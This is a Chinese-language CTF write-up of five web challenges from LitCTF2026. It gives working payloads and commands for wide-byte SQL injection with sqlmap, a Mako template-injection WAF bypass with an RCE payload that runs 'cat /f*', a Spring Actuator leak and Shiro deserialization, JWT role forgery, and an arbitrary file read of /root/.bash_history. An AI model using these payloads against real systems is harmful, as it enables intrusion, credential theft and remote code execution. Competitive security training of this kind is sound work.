LitCTF2026webwp
字数 2947
更新时间 2026-06-01 22:58:59

LitCTF2026 Web Writeup 教学文档

本文档基于 LitCTF2026 Web 方向的五道题目,涵盖 SQL 注入、SSTI 模板注入、Spring Boot Actuator 泄露、Shiro 反序列化、JWT 伪造、文件读取等多个实战知识点。


一、[LitCTF2026] lit_ezsql — 宽字节注入

1. 题目背景

题目提供一个查询接口 /query?id=1,返回用户数据。常规注入手法('")or、双写)均未触发报错。

2. 关键发现

访问调试参数 /query?id=1&debug=1 可查看原始 SQL 语句:

SELECT `id`,`name`,`col2`,`col3`,`col4` FROM `ezsql`.`users` WHERE id='2' LIMIT 50

尝试 id=2' 时,SQL 变为:

WHERE id='2\''

说明存在反斜杠转义机制。

3. 宽字节注入原理

在 GBK 编码下,反斜杠 \ 的 URL 编码 %5c 可与前一个字节(如 %df)组合成一个合法的多字节汉字(%df%5c → “運”),从而“吃掉”转义符,使后面的单引号逃逸。

4. 验证 Payload

1%df'

5. 最终 Payload

1%df' UNION SELECT 1,2,3,4,group_concat(flag) FROM flag_store--+

6. sqlmap 自动化

python sqlmap.py -u "http://challenge.cyclens.tech:32234/query?id=1" --tamper=unmagicquotes --delay=0.5 --dbs --batch
python sqlmap.py -u "..." -D ezsql -T flag_store -C flag --dump --tamper=unmagicquotes --delay=0.5 --batch

7. Flag

flag{89fct4ds-4tm6-4hp-8u1v-ay37y9kc2fwjy}

二、[LitCTF2026] lit_ezssti — Mako 模板注入

1. 模板引擎识别

传入不同 payload 观察报错信息:

Payload 现象 推测引擎
{{7*7}} 无报错 非 Jinja2
% 触发报错 Mako 特征
% if True:\nOK\n% endif 返回 OK 确认 Mako

2. 过滤规则

从源码 /app/app/waf.py 可知黑名单:

banlist = ["${", ".", "=", "flag", "[", "]"]

3. 盲注方法

利用 Mako 的控制流语法逐字符爆破 flag:

% for line in open('/fla'+'g'):
% if '<probe>' in line:
YES
% endif
% endfor

编写 Python 脚本遍历字符集,匹配到 YES 则追加字符。

4. 绕过技巧

  • 禁止 .:使用 getattr() 替代
  • 禁止 flag:使用 '/fla'+'g' 拼接
  • 禁止 []:使用 getattr() 替代下标访问

5. RCE Payload

<% exec("getattr(context, 'write')(getattr(open('/fla'+'g'), 'read')())") %>

6. 完整命令执行

<% exec("import os\ngetattr(context, 'write')(getattr(getattr(__import__('os'), 'popen')('cat /f*'), 'read')())") %>

7. Flag

flag{hhqmzcmj-eupe-4yg-8xis-hrhhvxrzxbpsa}

三、[LitCTF2026] 华辰企业服务运营平台 — Spring Boot Actuator + Shiro

1. Actuator 端点一览

端点 功能 危险等级
/actuator/health 健康检查
/actuator/info 应用信息
/actuator/env 环境变量/配置项 极高
/actuator/mappings 路由映射
/actuator/heapdump JVM 堆快照(含密码) 极高
/actuator/configprops 配置项
/actuator/loggers 日志级别
/actuator/threaddump 线程栈

2. 信息收集

  • 访问 /actuator/env 获取 flag2
  • 下载 /actuator/heapdump,搜索 flag{ 获取 flag 片段

3. Shiro 反序列化

前端 login.js 显示 POST /api/auth/login 携带 rememberMe 字段,判断为 Apache Shiro。

环境变量中找到密钥:

LAB_SHIRO_KEY_B64: R1pDVEZTaGlyb0dDTUtleQ==

使用 Shiro 漏洞利用工具,选择该密钥进行反序列化攻击,获得服务器 shell。

4. Flag 拼接

  • 根目录下获取 flag1
  • env 中获取 flag2
  • 拼接得到完整 flag

四、[LitCTF2026] lit_reverse_my_web — 逆向 + JWT 伪造

1. 附件分析

附件仅包含一个编译后的 server.exe(Go 语言),无源码。

2. 二进制逆向关键信息

从二进制字符串提取到:

  • 路由:handleRegisterhandleLoginhandleFlagsignJWTparseToken
  • JWT 结构:HS256 算法,自定义 claims 包含 role
  • 数据库:SQLite,路径 /tmp/reversemyweb.db
  • 建表语句:
CREATE TABLE IF NOT EXISTS users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    password_hash BLOB NOT NULL,
    role TEXT NOT NULL DEFAULT 'user'
);

3. 利用思路

  1. 本地运行 server.exe,创建 /tmp/reversemyweb.db
  2. 注册一个本地用户,登录获取 JWT
  3. 修改 SQLite 数据库中该用户的 roleadmin
  4. 重新登录,让原程序签发新的管理员 JWT
  5. 使用该 JWT 访问远端 /flag

4. 关键操作

# 本地注册
curl -i -d "username=localprobe&password=localpass123" http://127.0.0.1/register

# 登录获取 JWT
curl -i -H "Accept: application/json" -d "username=localprobe&password=localpass123" http://127.0.0.1/login

# 修改角色
python -c "import sqlite3; conn=sqlite3.connect('/tmp/reversemyweb.db'); conn.execute('UPDATE users SET role=? WHERE username=?', ('admin','localprobe')); conn.commit()"

# 再次登录获取管理员 JWT,携带访问远端 /flag
curl -i -H "Authorization: Bearer <admin_jwt>" http://challenge.cyclens.tech:31272/flag

5. 角色测试结论

角色 结果
root/manager/auditor/reviewer/operator 403
admin 通过权限校验

6. Flag

flag{lj7xmbvz-xtqy-4yp-8q7t-7brghcvoak2fq}

五、[LitCTF2026] Northbridge Document Hub — 文件读取

1. 信息收集

查看 /assets/js/portal.js,发现关键配置:

var bootstrap = {
    auth: {
        mode: "legacy-fallback",
        seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"
    },
    fileGateway: {
        path: "/kkfileview/getCorsFile",
        queryKey: "urlPath",
        node: "legacy-parse-02"
    }
};

2. 获取凭证

Base64 解码 seed

researcher:Research#2026

使用该凭证登录系统。

3. 文件读取利用

构造请求读取任意文件,需将路径进行 Base64 编码:

/kkfileview/getCorsFile?urlPath=<base64_encoded_path>

4. 读取敏感文件

读取 /root/.bash_history 获取历史命令线索。

5. 下载压缩包获取 Flag

file:///opt/kkfileview/cache/parsed/q1_finance_report_2026.zip

解压后得到 flag.txt


六、总结与反思

题目 核心知识点 关键技巧
lit_ezsql 宽字节注入 调试参数 debug=1、GBK 编码特性
lit_ezssti Mako 模板注入 报错识别引擎、getattr 绕过点号限制
华辰企业平台 Actuator 泄露 + Shiro heapdump 搜索 flag、Shiro 密钥利用
reverse_my_web Go 逆向 + JWT 伪造 本地复现服务、修改数据库角色
Northbridge Hub 前端配置泄露 + 文件读取 Base64 编码路径、凭证复用

常见误区提醒:

  • 宽字节注入需要数据库字符集为 GBK 系列
  • SSTI 不要只局限于 Jinja2,Mako 的语法特征是 %
  • Spring Boot Actuator 的 /env/heapdump 是最容易被忽略的高危端点
  • 编译型语言的二进制文件中仍可能残留完整的路由和 SQL 语句
  • 前端 JS 文件常常泄露 API 路径、凭证、调试信息
相似文章
相似文章
 全屏